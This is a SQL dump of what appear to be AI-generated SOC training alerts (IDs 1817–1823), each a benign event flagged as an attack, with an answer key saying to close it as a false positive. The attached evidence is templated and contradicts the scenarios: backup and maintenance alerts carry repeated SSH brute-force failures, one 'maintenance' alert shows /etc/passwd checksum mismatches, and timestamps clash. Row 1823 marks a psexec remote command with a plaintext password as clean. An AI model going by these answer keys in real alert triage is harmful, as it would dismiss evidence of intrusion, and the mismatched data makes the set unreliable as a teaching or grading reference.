(1817, 'Authorized IT Maintenance Process Triggered Alert', 'low', 'Wazuh', 'An IT maintenance script was executed as part of routine maintenance, triggering an alert due to its network activity.', 'Malware', 'T1087', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:10:55Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.15\",\"dst_ip\":\"10.0.2.30\",\"username\":\"maintenance_user\",\"hostname\":\"maintenance_host\",\"command_line\":\"python maintenance_script.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for IT maintenance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python maintenance_script.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine maintenance script execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_maintenance\",\"analysis_notes\":\"Authorized maintenance process detected. No malicious activity found.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1818, 'Routine IT Vulnerability Scanning Detected as Brute Force Attack', 'medium', 'Splunk', 'A series of login failures from an internal IP address were detected, resembling a brute force attack. Upon investigation, these attempts align with routine vulnerability scanning conducted by IT.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:25:43Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin\",\"hostname\":\"server1\",\"failed_attempts\":20}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for scheduled vulnerability scans\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is an internal address used by IT for routine vulnerability scanning, not an actual brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:04:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:03:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:02:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:01:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1819, 'Authorized Administrative Backup Misidentified as Data Exfiltration', 'high', 'Azure Sentinel', 'Large data transfer from a sensitive file server to an external IP address detected. This is part of an authorized backup process to a cloud storage service.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:27Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"203.0.113.50\",\"hostname\":\"backup-server\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP assigned to backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted cloud storage service\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Common hash for an empty file\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was part of a scheduled backup to a verified cloud service, not unauthorized exfiltration.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1820, 'Misconfigured Legacy Application Triggering Command Execution Alert', 'medium', 'Wazuh', 'A command execution event was identified on a legacy server, initially flagged as suspicious. This corresponds to a scheduled task for system maintenance.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"hostname\":\"legacy-app-server\",\"command_line\":\"/usr/bin/python3 /opt/scripts/maintenance.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/python3 /opt/scripts/maintenance.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine maintenance script executed as per schedule\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command execution is part of a scheduled maintenance task and not indicative of malicious activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1821, 'Benign System Health Check Detected as Lateral Movement', 'low', 'Elastic SIEM', 'A series of network connections between internal systems were detected, resembling lateral movement. These are part of a routine system health check script.', 'Lateral Movement', 'T1077', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.5\",\"dst_ip\":\"192.168.10.20\",\"hostname\":\"monitoring-server\",\"command_line\":\"check_system_health.sh\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of monitoring server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the system being checked\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"check_system_health.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine system health check script execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"These connections are part of routine health checks and not indicative of unauthorized lateral movement.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1822, 'Network Monitoring Tool Triggering Phishing Alert', 'medium', 'Splunk', 'Traffic from a network monitoring tool was detected, initially flagged as phishing due to its unusual activity patterns. Further review confirms it as legitimate monitoring traffic.', 'Phishing', 'T1204', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:12Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.3.20\",\"dst_ip\":\"198.51.100.10\",\"hostname\":\"network-mon\",\"url\":\"http://trusted.monitoring.com/status\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of network monitoring server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted network monitoring service\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://trusted.monitoring.com/status\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is part of a legitimate network monitoring tool\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The network traffic was generated by a legitimate monitoring tool and not indicative of a phishing attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1823, 'Suspicious Process Execution Detected', 'low', 'Splunk', 'A routine system health check triggered a process execution alert. The command used is commonly associated with administrative tasks.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin_user\",\"hostname\":\"server01\",\"command_line\":\"psexec \\\\\\\\10.0.0.10 -u admin -p password123\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for administrative management.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.0.10 -u admin -p password123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized administrative tasks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command line activity is consistent with routine administrative tasks.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
